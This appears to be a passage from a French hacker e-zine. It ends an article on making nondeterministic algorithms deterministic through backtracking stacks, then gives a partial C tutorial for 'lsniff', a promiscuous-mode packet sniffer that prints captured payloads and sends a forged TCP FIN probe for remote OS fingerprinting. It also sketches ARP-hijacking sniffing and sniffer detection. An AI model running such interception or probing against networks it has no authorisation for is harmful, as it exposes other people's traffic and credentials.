    II. Passage d'un algorithme non dterministe  un aglorithme dterministe :
    ___________________________________________________________________________



[ BEGIN ]

Le but est de transformer un algorithme non dterministes S par une suite

		                    |S+
de transformations en un algorithme |-- dterministe.
		                    |S-

S+ correspond  la partie "descente" et S-  la partie "retour en arrire".


notation:	-T sera une variable auxiliaire
		-M sera une pile
		-W sera la pile d'criture
		-R sera la pile de lecture
		-f sera une expression quelconque
		-p sera une expression booleenne

		Toute les branches de l'organigramme non dterministe
		seront tiquettes par des lettres.




1)							S+ {          	| A
									v
								[Empiler X dans M]
									|
								     [X <- f]
									| B
									v

	S {   | A
	      v
	   [X <- f]       ===============|>
	      | B
	      v


							 S- {		| A'
									v
								[Depiler M vers X]
									| B'


Avant d'affecter une nouvelle valeur  X, l'ancienne valeur est stocke
dans la pile M afin de pouvoir la rcuprer lors du retour en arrire.


2)							 S+ {		| A
									v
								    -----------
								oui-|  Test P |-non
								 |  -----------  |
								 v B             v C



	S {          | A
	             v
		- --------
	    oui-| Test P |-non	=============|>
	     |  ----------  |
	     v B	    v C



							 S- { 	   \B'      C'/
							            \	     /
								     \      /
								      \    /
								       \  /
								        ---
								         |
								         |
								         v A'


Le branchement ne causant pas de perte d'information, rien n'est
prvu pour le retour.


3)							 S+ {		| A
									v
							         [Empiler f dans W]
									| B
									v


	S {	| A
		v
	    [Ecrire f]	=================|>
		| B
	        v

							 S- {		| B'
									v
								    [Depiler W]
									| A'
									v


Toutes les critures sont empiles pour pouvoir tre imprimes si un
succs est atteint.


4)							 S+ {		| A
									v
								    ---------
								    |R vide |-non------
								    ---------          |
									|	       |
								       oui    [Depiler A vers X]
									|              |
								     [Lire X]          |
							  		|	       |
									-------------->|
									               |
										       v B


	S {	| A
		v
	     [Lire X]	=================|>
		|
		v B


							 S- {		| B'
									v
								[Dpiler X dans R]
								        | A'
									v


Parce que la lecture est irrversible, une pile R, initialement vide, est
utilise  pour empiler toutes les lectures sur lesquelles on effectuera
ventuellement un retour.


5)							 S+ {         Depart
									| A
									v


	S {   Depart
		| A	=================|>
		v


							 S- {		| A'
									v
								       Stop


Toutes les solutions possibles ont t passes en revuen l'algorithme
dterministe s'arrte.


6)							 S+ {		| A
									|
									|
	S {	| A							|
		v	==================|>				|
	     [Echec]							|
									|
									|
							 S- {           |
									|
									|
									| A'
									v


Un chec dclenche toujours le retour.


7)							 S+ {		| A
									v
								  [Ecrire W sans]
								  [ le dtruire ]
									|
								  ----------------
								  |Un seul calcul|-oui--
								  |   suffit-il  |     |
								  ----------------   [Stop]
									|
								       non
									|
	S {	| A							|
		v	==================|>				|
	     [Succs]							|
									|
									|
							 S- {		|
									|
									|
									| A'
									v


En atteignant un succs, toutes les critures accumuules sont imprimes.
Si toutes les solutions du problme sont dsires, on effectuera un retour.


8)							 S+ {    | A              | B
								 v		  v
							      [Empiler 0]      [Empiler 1]
							      [  dans M ]      [  dans M ]
								 |		  |
								 ---------> <------
									   | C
									   v


	S {	\A     B/
		 \     /
		  \   /
		   \ /
		    -	=================|>
		    |
		    | C
		    v


							 S- {		| C'
									v
								[Depiler M vers T}
									|
									v
								     -------
							         non-| T=0 |-oui
								  |  -------  |
								  v A'        v B'


Au point ou deux chemins se rencontrent, on doit reprer quel chemin
a t pris.


9)							 S+ {		| A
									v
								[Empiler X dans M]
									|
								     [X<-1]
									|<---------
								    --------      |
								    | X<=f |-non------
								    --------	  |  |
									|	  |  |
								       oui	  |  |
									| B       |  |
									v	  |  |
										  |  |
										  |  |
	S {	| A								  |  |
		v	   =================|>					  |  |
	    [X<-Choix(f)]							  |  |
		| B								  |  |
		v								  |  |
										  |  |
										  |  |
							 S- {		| B'	  |  |
									v	  |  |
								     [X<-X+1]	  |  |
									|	  |  |
									-----------  |
										     |
									--------------
									|
									v
								[Depiler M vers X]
									| A'
									v


On sauve la variable X dans la pile M et on attribue la valeur 1  X.
Aprs que toutes les possibilits (pour chaque valeur particulire de
choix (f)) aient t essayes, la valeur immdiatement plus grande est
essaye.
Quand toutes les valeurs ont t essayes, la valeur initiale de X est
remise et le retour continue.


1a)							 S+ {		| A
									v
								     [X<-f(x)]
									| B
									v


	S {	| A
		v
	     [X<-f(X)]	===================|>
		|
		v B


							 S- {		| B'
								     [X<-f(X)]
									| A'
									v


Ce n'est pas la peine d'empiler X si f a un inverse facilement calculable.

exemple:	x <- x+1				inverse  x <- x-1
		x <- vrai				inverse  x <- faux


8a)							 S+ {        \A     B/
								      \     /
								       \   /
									\ /
									 -
									 |
									 | C
									 v


	S {	\A     B/
		 \     /
		  \   /
		   \ /
		    -	==================|>
		    |
		    | C     (O P est toujours
		    v	     vrai sur A et faux
			     sur B.)


							 S- {		| C'
								      -------
								  oui-|  P! |-non
								   |  -------  |
								   v A'        v B'


Trs souvent, lorsque deux chemins se joignent, on peut savoir lequel
a t pris en regardant les variables du programme.


[ END ]

This is the end.
Vous avez dsormais de quoi vous prendre la tte quelques soires.
Pour envoyer des dons, une petite pice, un chque ou les
cordonnes bancaires d'un compte bien rempli en suisse, veuillez
adressez vos offres  l'adresse suivante :

			disk-lexic@caramail.com

















---------------------------------------------------------------------------------------
IV.                 Sniffing avanc - lsniff.c                                  Li0n7
---------------------------------------------------------------------------------------




[ Introduction ]

Nous avons tudi dans l'issue prcdente un sniffer de basse facture se contentant
d'afficher les diffrents champs de l'header principale de la trame Ethernet ( les
adresses MAC src et dest). Cette fois-ci, nous n'allons plus nous contenter de sniffer
une couche, mais quatre couches!

Comme prambule  l'OS fingerprinting, nous implmenterons une fonction de prise
d'empreinte de la pile TCP/IP  distance.



[ Sommaire ]

  I.   Description
  II.  Programmation
  III. Code source
  IV.  Conclusion







    I. Description :
    ________________


Lors de la programmation du sniffer, nous manipulerons des paquets de
manire trs fine ; il est donc obligatoire de connaitre la structure
d'un paquet dans son intgralit. Ici le snaplen est de 68 octets, mais
il varie normement selon les protocoles et les options des en-ttes.

Cette structure est gnrique, elle commence par la couche liaison avec
l'en-tte principale de la trame, ou en-tte encapsulateur, contenant
les adresses MAC sources et destination. Ensuite l'header IP suit (proto
mode non-connect), sa taille peut varier, mais elle est au minimum de
20 octets sans les options. Puis l'header du protocole de communication
utilis (TCP, UDP, ICMP, protos semi-connects). L encore la taille en
octet varie selon le protocole et les options dfinies (de 8  20 octets).

Je vous renvoie tudier les en-ttes des diffrents protocoles prsents
dans l'issue prcdente. Le dernier en-tte contient les donnes transmises
 travers le rseau, elles peuvent renfermer, en l'occurence des informations
censs tres protgs, qu'elles soient crypts ou non.




[ Structure d'un paquet ]


       14           20             20             14
   +---------+--------------+--------------+------>>------+
   |         |              |              |              |
   | EN-TETE |    EN-TETE   |    EN-TETE   |    DONNEES   |
   | TRAME   |      IP      |    PROTOCOLE |    PROTOCOLE |
   |         |              |              |              |
   +---------+--------------+--------------+------<<------+

   <------------------------------------------------------>
                      Trame Ethernet
             <-------------------------------------------->
                                Datagramme IP
                            <----------------------------->
                                  Paquet TCP, ICMP, UDP



[ Filtres ]

lsniff capture tout type de traffic, mais il peut se contenter, selon la demande
de l'utilisateur, de n'afficher qu'un type prcis de paquet, en limitant l'affichage
lourd des diffrents headers. Lors de chaque initialisation d'une session de capture
lsniff, vous devez prciser le protocole  sniffer avec l'option -p. Attention, le
protocole est identifi via son numro propre (voir etc/protocols). Par exemple, pour
sniffer des paquets tcp vous lancerez lsniff comme ceci ./lsniff -ieth0 -p6.

Eth0 tant l'interface utilise par la plupart des systmes. Pour afficher tout
type de paquet, il suffit de rentrer en paramtre -p0. Il est galement possible
de rcuprer le numro d'un protocole en utilisant son nom et vice-versa. Pour cela,
ajouter l'argument -z suivit du nom ou du numro.


$ ./protos tcp 1
1: tcp ( TCP ) numro: 6
1: icmp ( ICMP ) numro: 1



[ Interfaces ]

Il a t implment deux types d'interface avec lsniff : une interface simple
(TCPdump-like), et une autre complexe et entirement configurable, structure
autour de la gestion des diffrents header de la trame rseau. Pour utiliser
l'interface simple par dfaut, n'entrer aucun argument, sinon -e (pour afficher
l'en-tte encapsulateur dans sa totalit), -t(pour en-tte IP complet), -p<proto>
(affichage de tous les champs de l'entte de $proto) et enfin -d pour capturer
les donnes du protocole.

Si par hasard toutes ses options doivent tres combines, lancer lsniff avec
l'argument -x.




=> interface simple

./lsniff -ieth0 -p0 -s
1.4.6 99.236.109.178:5000 > 125.2.2.5:80 S win 65535 674719801>674719801(0)


=> interface complexe

./lsniff -ieth0 -p0 -x
---------->>> Trame rseau numro: 1
--[ETHERNET HEADER]
Host Source Ethernet: 01:40:06:00:00:00
Host Distant Ethernet: d6:10:00:40:14:54
Type: 61884
--[IP HEADER]
Adresse IP source: 99.236.109.178
Adresse IP destination: 125.2.2.5
IHL:5, VERSION:4, TOS:0, TOT_LEN:10240, ID:30384, TTL:255, PROTOCOL: 6
--[TCP HEADER]
Port source: 5000
Port destination: 80
SEQ: 674719801, ACK_SEQ: 0, D_OFF: 1, RES1: 0, FIN:0, SYN: 1
RST: 0, PSH:0, ACK:0, URG:0, WINDOW: 65535, URG_PTR:0




Une petite description de l'interface simple s'impose :

1.4.6 99.236.109.178:5000 > 125.2.2.5:80 S win 65535 674719801>674719801(0)

"1.4.6" : 1: trame rseau numro 1,
        4: version du protocole IP,
        6: numro d'identification du protocole (ici TCP)


"99.236.109.178:5000 > 125.2.2.5:80" : host source(99.236.109.178) envoyant
un paquet du port 5000 au port 80 de 125.2.2.5

"S win 65535" : S signifie que le flag SYN pointe sur 1, chaque flag est
                reprsent par la premire lettre de son nom.

674719801>674719801(0): numro_de_squence_entrant
                        numro_de_squence_sortant
                        (taille du champ donnes du protocole)





[ Manipulation des protcoles ]

Depuis la cration du Rseau des rseaux, les protocoles font partie-intgrante
de son fonctionnement. Ils rgissent le rseau et vitent ainsi toute anarchie.
Ils instorent un systme de communication universel et obissent  un modle :
le modle OSI dfinie en 1984.

Lors de la cration d'un paquet, celui-ci se voit attribuer diffrentes couche ;
ce procds rpond plus commnunment  l'appelation d'encapsulation (ou tunneling).

Voici le modle actuel :

(7) Application         => gre le transport des informations entre les programmes
(6) Prsentation        => s'occupe de la mise en forme du texte et des conventions d'affichage
(5) Session             => s'occupe de l'tablissement de la gestion des coordinations de communication
(4) Transport           => gre la remise correcte des informations
(3) Rseau              => dtermine les routes de transport et du transfert de messages
(2) Liaison de donnes  => s'occupe du codage, de l'adressage, de la transmission des informations
(1) Physique            => gre les connections matrielles




Ainsi, nous savons que chaque datagramme subit une encapsulation rigoureuse
avant son envoi sur le rseau. A l'arrive des donnes sur l'ordinateur distant,
il y a dcaspulation, soit le processus inverse, c'est ainsi que l'on peut dire
que les couches dialogues virtuellement entres elles mme s'ils elles n'ont de
contacts qu'avec les couches infrieurs et suprieurs qui les entourent. Il est
utile de noter que contrairement aux ides reues, les protocoles les plus
rpandues TCP/IP et UDP/IP, pour les nommer, n'utilisent  que 5 des 7 couches
du modle OSI,

la communication est alors modifie :



                      *encapsulation*                    *processus inverse*
                      ---------------                      ---------------
                      |   couche    |                      |   couche    |
                      | application | <------------------> | application |
                      |             |                      |             |
                      ---------------                      ---------------
                      |   couche    |                      |   couche    |
                      |  transport  | <------------------> |  transport  |
                      |    TCP      |                      |     TCP     |
                      ---------------                      ---------------
                      |  couche     |                      |   couche    |
                      | rseau IP   | <------------------> |  rseau IP  |
                      |             |                      |             |
                      ---------------                      ---------------
                      |   couche    |                      |   couche    |
                      |   liaison   | <------------------> |   liaison   |
                      |   Ethernet  |                      |   Ethernet  |
                      ---------------                      ---------------
                            ||                                    ||
   ><-----------------------------------------------------------------------------------------><
                                          Couche physique (support matriel)




Ci-dessous une liste non exhaustive de protocoles, consultables via etc/protocoles.

# /etc/protocols:
# $Id: protocols,v 1.1.1.1 1999/12/27 21:11:58 chmouel Exp $
#
# Internet (IP) protocols
#
#	from: @(#)protocols	5.1 (Berkeley) 4/17/89
#
# Updated for NetBSD based on RFC 1340, Assigned Numbers (July 1992).

ip	0	IP		# internet protocol, pseudo protocol number
icmp	1	ICMP		# internet control message protocol
igmp	2	IGMP		# Internet Group Management
ggp	3	GGP		# gateway-gateway protocol
ipencap	4	IP-ENCAP	# IP encapsulated in IP (officially ``IP'')
st	5	ST		# ST datagram mode
tcp	6	TCP		# transmission control protocol
egp	8	EGP		# exterior gateway protocol
pup	12	PUP		# PARC universal packet protocol
udp	17	UDP		# user datagram protocol
hmp	20	HMP		# host monitoring protocol
xns-idp	22	XNS-IDP		# Xerox NS IDP
rdp	27	RDP		# "reliable datagram" protocol
iso-tp4	29	ISO-TP4		# ISO Transport Protocol class 4
xtp	36	XTP		# Xpress Tranfer Protocol
ddp	37	DDP		# Datagram Delivery Protocol
idpr-cmtp	39	IDPR-CMTP	# IDPR Control Message Transport
ipv6	41	IPv6		# IPv6
ipv6-route	43	IPv6-Route 	# Routing Header for IPv6
ipv6-frag	44	IPv6-Frag	# Fragment Header for IPv6
ipv6-crypt	50	IPv6-Crypt	# Encryption Header for IPv6
ipv6-auth	51	IPv6-Auth	# Authentication Header for IPv6
ipv6-icmp	58	IPv6-ICMP	# ICMP for IPv6
ipv6-nonxt	59	IPv6-NoNxt	# No Next Header for IPv6
ipv6-opts	60	IPv6-Opts	# Destination Options for IPv6
rspf	73	RSPF		#Radio Shortest Path First.
vmtp	81	VMTP		# Versatile Message Transport
ospf	89	OSPFIGP		# Open Shortest Path First IGP
ipip	94	IPIP		# Yet Another IP encapsulation
encap	98	ENCAP		# Yet Another IP encapsulation






[ OS FINGERPRINTING ] - [ TCP FIN PROBE]

J'ai implment une petite fonction de prise d'empreinte de la pile  distance.
Bien sr, ce test est basique, l'OS ne peut pas tre dtermin de faon prcise,
mais le but tait d'imposer un prambule  cette notion. La technique utilise
fut trs en vogue, mais se dmode, pour tre efficace il aurait fallut la coupler
 un TCP SYN SAMBLING et un hypothtique ICMP MSG ERROR QUENCHING. Ici, nous allons
nous contenter de faire un SYN PROBE.


Le principe est simple : certains OS, conformement  la RFC 793, sont censs ne PAS
rpondre  un paquet envoy contenant un flag FIN, mais certaines implmentations
des stacks tcp/ip d'OS comme MS Windows, BSDI, CISCO, HP/UX, MVS et IRIX ont t
grandement modifies et rpondent par un flag RST, ce qui implique un dfaut de
scurit. Pour xcuter une prise d'empreinte de la pile TCP/IP d'un host distant,
il suffit d'utiliser l'option -o<adresse cible> <votre adresse>.




[ Introduction  la dtection du sniffing ]

Bien que la scurit d'un rseau contre le sniffing ne soit pas le but de cette
article, il ne va pas sans dire que ce sujet est extrmement intrssant, les
techniques tant nombreuses. La majorit des administrateurs de rseaux volumineux
(plusieurs centaines de machines) n'hsitent pas  les commuter, bien qu'en gnral
les raisons soient plus souvents techniques et dans une optique de gain de performance.

Un rseau tant commut, les paquets envoys par les machines atteignent directement
la distination dsire, mais ce n'est pas pour autant que le pirate ne pourra pas
renifler ce rseau. Une parade connue est l'hijacking ARP (avec les attaques de type
Man In the Middle) qui fera surement l'objet d'un article prochainement ; ceci consiste
 altrer les tables de correspondances IP/MAC ADDRESSES de manire  se glisser litt-
-ralement entre deux htes rseaux communiquants, ainsi le sniffing est possible.



La dtection d'un pirate sniffant est aussi trs ludique, nous distinguons trois
techniques majeures :

      La premire consiste  gnrer une fausse connection rseau sur un LAN
       puis surveiller les requtes DNS qui tentent de rsoudre l'adresse falsifie.

      La seconde rside dans un bug de pilote Ethernet Linux. En effet, une machine
       tournant en mode promiscuous n'arrive pas  vrifier l'adresse Ethernet des
       paquets qu'elle reoit, cette validation est effectue au niveau IP et doit
       tre normalement abandonne si cette adresse ne correspond pas  celle de
       l'hte, au niveau matriel. Ainsi, si un paquet est reu avec une adresse
       Ethernet falsifie mais une IP correspondant  celle de l'hte qui le reoit,
       alors une rponse sera mise.
       Il suffit donc d'envoyer un quelconque paquet construit avec une adresse
       Ethernet altre  tous les htes d'un rseau pour identifier les sniffers
       qui rpondent.


      Enfin une technique trs peu utilise permettant de dnicher un hte
       surveillant le rseau, est le calcul de la latence de ce dernier, c'est
        dire le nombres de commandes pings qu'il met. Plus ce nombre est le-
       -v, plus il rpondra lentement aux pings envoys. Cette mthode est donc
       simple : valuer dans un premier temps la latence d'un hte en lui envoyant
       un ping puis en calcuant le temps de rponse, puis, gnrer ensuite un traffic
       rseau extrmement important et, dans un dernier temps envoyer une seconde
       requte ping en mesurant le temps de rponse. Si les deux temps diffrent
       (de manire importante) alors l'hte surveillait le rseau. Notez que les
       variations de latence d'un hte peut dpendre de nombreux facteurs.











    II. Programmation :
    ___________________


Autant le dire tout de suite, lsniff n'a pas un code facile  tudier, pour la
bonne et simple raison que le publier n'tait  l'origine pas mon but. Nous allons
tuider successivement chacune de ses fonctions, de l'ouverture de l'interface au
point d'entre, en passant par le stack fingerprint. Aussi, je vous demanderais
d'tre trs attentifs aux nombreuses variables int (faisant office de bools ici)
que j'ai utilises pour manipuler les diffrentes interfaces.




[ Structures ]

Les structures utilises sont nombreuses et volumineuses. Chaque protocole IP, TCP,
UDP, ICMP dispose d'une structure qui lui est propre, destine  faciliter l'inter-
-activit avec les diffrents champs de chaque header. L'header ethernet prsente
aussi une structure gnrique :


struct pseudohdr { // pseudo header utilis pour le  calcul du checksum

       unsigned long saddr;
       unsigned long daddr;
       char useless;
       unsigned char protocol;
       unsigned short length;

} pseudo;

struct ether_header *hdr;
struct iphdr *ip;
struct tcphdr *tcp;
struct icmphdr *icmp;
struct udphdr *udp;
struct sockaddr_in rhost; // hte distant pour le stack fingerp
struct hostent    *source; // pointeur sur adresse source
struct hostent    *cible; // pointeur sur adresse destination
struct recvpaquet // manipulation des diffrents headers d'un paquet
{
    struct ethhdr eth; // header ethernet (adresses MAC)
    struct iphdr  ip; // header IP
    struct tcphdr tcp; // header TCP
    struct icmphdr icmp; // header ICMP
    struct udphdr udp; // header UDP
    char data[8000]; // header donnes du protocole du champ prcdent
} buffer;
int size; // snaplen




        1. Overture interface & fingerprint :
        _____________________________________



[ Ouvre_interface ]

Je ne vais pas m'tendre, cette fonction permet d'ouvrir l'interface rseau
propre au systme utilis (eth0 par exemple). Cette fonction prend pour argument
le nom de l'interface, pass en paramtre, entre par l'utilisateur. Puis on met
la carte rseau en mode promiscuous.

------8<---------------------------------------------------------------------


int ouvre_interface(char *name)
{

      struct sockaddr addr; /* dclaration de notre structure gnrique d'adressage */

      struct ifreq ifr; /* structure de manipulation des trames */

      int sockfd; /* dclaration de notre socket */

      sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); /* dfinition de notre socket*/

      if(sockfd<0) return -1;

      memset(&addr, 0, sizeof(addr)); /* on remplit de 0 le ptr addr */

      addr.sa_family=AF_INET;
      strncpy(addr.sa_data, name, sizeof(addr.sa_data));

      /* on bind via notre socket sockfd, et ainsi on "coute" */
      /* les trames rseaux circulant */
      if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
        close(sockfd);
        return -1;
      }

      memset(&ifr,0,sizeof(ifr));
      strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));


      /* le point d'entre ioctl permet l'xcutions d'oprations particulires */
      /* sur des priphriques autres que lectures/ criture, ici nous accdons */
      /* aux fonctions de notre socket */

     if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
        close(sockfd);
        return -1;
      }

      /* si l'interface n'est pas ethernet alors on quitte */
      if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER){
        close(sockfd);
        return -1;
      }

      /* accs aux options des sockets */
      memset(&ifr,0,sizeof(ifr));
      strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
      if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
      {
        close(sockfd);
        return -1;
      }

      ifr.ifr_flags |= IFF_PROMISC;
      if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
        close(sockfd);
        return -1;
      }
      return sockfd; // retourne la socket
}

------8<---------------------------------------------------------------------







[ os_fingerprint ]

Cette fonction va xcuter une prise d'empreinte de tcp/ip stack en remote.
Pour cela, elle va forger un paquet tcp avec un quelconque bit de contrle
(diffrent du SYN/ACK) initialis  1, puis va attendre une hypothtique
rponse d'un OS contenant un flag RST.

------8<---------------------------------------------------------------------

int os_fingerp(unsigned long ssource, unsigned long scible)
{
  char *paquet, *fip, *packet, *buffer;
  int sock;
   // Allocation dynamique de mmoire pour le paquet et le buffer
        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        ip = (struct iphdr *) packet;
        tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));

// remplissage des champs de l'header IP
        ip->ihl     = 5; // nombre de DWORDS constituant le datagramme IP
        ip->version = 4; // Version 4
        ip->tos     = 0; // Type Of Service
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
        ip->id      = (random()); // ID alatoire
        ip->ttl      = 255; // Time To Live
        ip->protocol = IPPROTO_TCP; // Protocole de communication
        ip->saddr    = ssource; // Adresse source (la vraie ;-))
        ip->daddr    = scible; // Adresse destination

// remplissage des champs du pseudo header destin  calculer la somme de contrle
        pseudo.saddr = ip->saddr;
        pseudo.daddr = ip->daddr;
        pseudo.useless  = htons(0);
        pseudo.protocol = IPPROTO_TCP;
        pseudo.length   = sizeof(struct tcphdr);

// remplissage des champs de l'header TCP
        tcp->source  = htons(5000); // port source
        tcp->dest    = htons(80);   // port destination
        tcp->seq     = htonl(SEQ);  // 0x28376839
        tcp->ack_seq = htonl(0);
        tcp->doff=sizeof(tcp)/4;
        tcp->res1    = 0;
        tcp->fin     = 1;   // bit de contrle fin activ
        tcp->syn     = 0;
        tcp->rst     = 0;
        tcp->psh     = 0;
        tcp->ack     = 0;
        tcp->urg     = 0;
        tcp->window  = htons(65535); // taille assez volumineuse
        tcp->urg_ptr = htons(0);

// calcul des sommes de contrle
        tcp->check   = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

// initialisation de notre socket
      if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
// en cas d'erreur on quitte
	  perror("Erreur lors de la creation du socket");
              return -1;
	} else {
// sinon on dfinie l'hte distant
              rhost.sin_family = AF_INET; // domaine
              rhost.sin_port = tcp->dest; // port distant
              rhost.sin_addr.s_addr = ip->daddr; // adresse distante
// on envoie le paquet
             if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0){
// en cas d'erreur on quitte
	         perror("Erreur lors de l'envoie du paquet FIN");
	 }else{
// sinon on lance une boucle de lecture des paquets passant sur le rseau
	         printf("Paquet FIN envoye sur port: %d!\n", ntohs(tcp->dest));
                      size = read(sock, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
                      read_loop(sock, 0, 0, 0, 0, 0, 1);
	 }
    }
// on ferme la socket
close(sock);
// statistiques
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
      return 0;
      }

------8<---------------------------------------------------------------------





        2. Lecture des paquets :
        ________________________


[ read_loop ]

Voici l'artre principale du sniffer. Elle s'articule autour d'une boucle, qui 
chaque paquet reu sur la carte Ethernet passe en mode promiscuous, affiche selon
les dsirs de l'utilisateur et les paramtres, l'interface et les diffrents champs
du paquet capt. Notez que pour proposer une programmation plus structure donc plus
facile d'accs et de manipulation, une structure, recvpaquet, est utilise pour
l'affichage des paquets ; en effet elle contient tous les headers du paquet reu.

------8<---------------------------------------------------------------------

  int read_loop(int sockfd, int protos, int x, int sinter, int sip, int sdat, int os)
  {
    struct hostent *hote; // pointeur sur l'adresse distante
    char buf[1792], *donnees, *proto, *flag[5], *itype, *ios;
    int fromlen, c, i=0, j, datal, stype;
    struct protoent * protocole;
    unsigned char *s, *d, *ftype;

   // Allocation dynamique de mmoire
   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); // header IP
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); // header TCP
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); // header ICMP
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); // header UDP
   proto = (char *)malloc(1024); // allocation de mmoire pour le ptr proto
   for (j=0; j <= 5; j++){
       flag[j] = (char *)malloc(1024); // allocation de mmoire pour les pointeurs sur les flags (utilis
pour diffrenci les flags contenus dans l'header tcp lors de l'affichage en mode simple)
   }
   itype = (char *)malloc(1024); // allocation de mmoire pour icmp champs type
   ios = (char *) malloc(1024);  // allocation de mmoire pour le char *ios qui stockera l'adresse de tcp->rst (pour l'os fingerp)
   s = (unsigned char *)&(ip->saddr); // adresse source
   d = (unsigned char *)&(ip->daddr); // adresse destination

    while(1){
      i++;
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); // on lit les paquets passant sur notre
carte rseau
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;
      if (os == 0){ // Si l'utilisateur ne dsire pas xcuter de prise d'empreinte de stack

// alors on stocke les adresses des diffrents champs tcp/ip pour leur affichage ultrieure
      sprintf(proto, "%d", ip->protocol); // protocole au dessus de l'en-tte IP
      sprintf(flag[0], "%d", tcp->fin); // bit de contrle: fin
      sprintf(flag[1], "%d", tcp->syn); // bit de contrle: syn
      sprintf(flag[2], "%d", tcp->rst); // bit de contrle: rst
      sprintf(flag[3], "%d", tcp->psh); // bit de contrle: psh
      sprintf(flag[4], "%d", tcp->ack); // bit de contrle: ack
      sprintf(flag[5], "%d", tcp->urg); // bit de contrle: urg
      if(sinter==1){
// si l'interface complexe a t choisie
         printf("---------->>> Trame rseau numro: %i\n", i);
         hdr=(struct ether_header *)buf;

        if(x==1){

// si l'utilisateur a demand l'affichage de l'header Ethernet
             printf("--[ETHERNET HEADER]\n");
             printf("Host source ethernet: ");
// on affiche l'adresse MAC source
             for(c=0; c < ETH_ALEN; c++)
     	            printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
             printf("\nHost distant ethernet: ");
             for(c=0; c < ETH_ALEN; c++)
// on affiche l'adresse MAC destination
                         printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);
// on affiche le type
             printf("\nType: %i\n",hdr->ether_type);
            }

         if (sip==1){
// si l'utilisateur a demand l'affichage de l'header IP
             printf("--[IP HEADER]\nAdresse IP source: %u.%u.%u.%u\nAdresse IP destination: %u.%u.%u.%u\n",
                                   s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
             // affichage de l'ip Source et destination


             printf("IHL: %d, VERSION: %d, TOS: %d, TOT_LEN: %d, ID: %d, TTL: %d, PROTOCOLE: %d\n",
                                ip->ihl, ip->version, ip->tos, ip->tot_len, ip->id, ip->ttl, ip->protocol);
                                // affichage des diffrents champs composant l'header IP
         }

  // si l'utilisateur a demand la capture de paquets TCP ou de tout type de paquet
         if(((atoi(proto))==6)&&(protos==6 || protos==0)){
             printf("--[TCP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(tcp->source), ntohs(tcp->dest));
             printf("SEQ: %d, ACK_SEQ: %d, D_OFF: %d, RES1: %d, FIN: %d, SYN: %d, RST: %d\n", ntohl(tcp->seq), ntohl(tcp->ack_seq),
             tcp->doff, tcp->res1, tcp->fin, tcp->syn, tcp->rst);
             printf("PSH: %d, ACK: %d, URG: %d, WINDOW: %d, URG_PTR: %d\n", tcp->psh, tcp->ack, tcp->urg, ntohs(tcp->window), ntohs(tcp->urg_ptr));

             // longueur du champ en-tte donnes protocole
             datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             donnees = (char *)(((unsigned long)buffer.data)-2); // header data

             if(sdat==1){
// on affiche les donnes si cela a t rentr en argument
                  printf("--[DONNES]\n");
                  for(j=0; j <= datal; j++)
                         printf("%c", donnees[j]);
            }


  // si l'utilisateur a demand la capture de paquets ICMP ou de tout type de paquet
          } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
             printf("--[ICMP HEADER]\nType: %d\nCode: %d\n", icmp->type, icmp->code);
             printf("echo.id: %d\nEcho.seq: %d\nChecksum: %d\n", icmp->un.echo.id, icmp->un.echo.sequence, icmp->checksum);
  // si l'utilisateur a demand la capture de paquets UDP ou de tout type de paquet
          } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)){
             printf("--[UDP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(udp->source), ntohs(udp->dest));
             printf("Len: %d\nChecksum: %d\n", ntohs(udp->len), udp->check);
             donnees = (char *)(((unsigned long)buffer.data)-2); // header data
             // longueur du champ en-tte donnes protocole
             datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));

             if(sdat==1){
// on affiche les donnes si cela a t rentr en argument
                  printf("--[DONNEES]\n");
                  for(j=0; j <= datal; j++)
                        printf("%c", donnees[j]);
             }
          }
     } else {
// affichage interface simple, il y a plus de boulot au niveau de la gestion des champs
// si l'utilisateur a demand la capture de paquets TCP ou de tout type de paquet
         if(((atoi(proto))==6)&&(protos==6 || protos==0)){
             datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             if(datal < 0) datal = 0;
// affichage interface simple
             printf("%i.%d.6(tcp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d",
                       i, ip->version, s[0],s[1],s[2],s[3], ntohs(tcp->source), d[0],d[1],d[2],d[3], ntohs(tcp->dest));
             if((atoi(flag[0]))==1) printf(" F"); // si flag FIN=1 alors on affiche "F"
             if((atoi(flag[1]))==1) printf(" S"); // si flag SYN=1 alors on affiche "S"
             if((atoi(flag[2]))==1) printf(" R"); // si flag RST=1 alors on affiche "R"
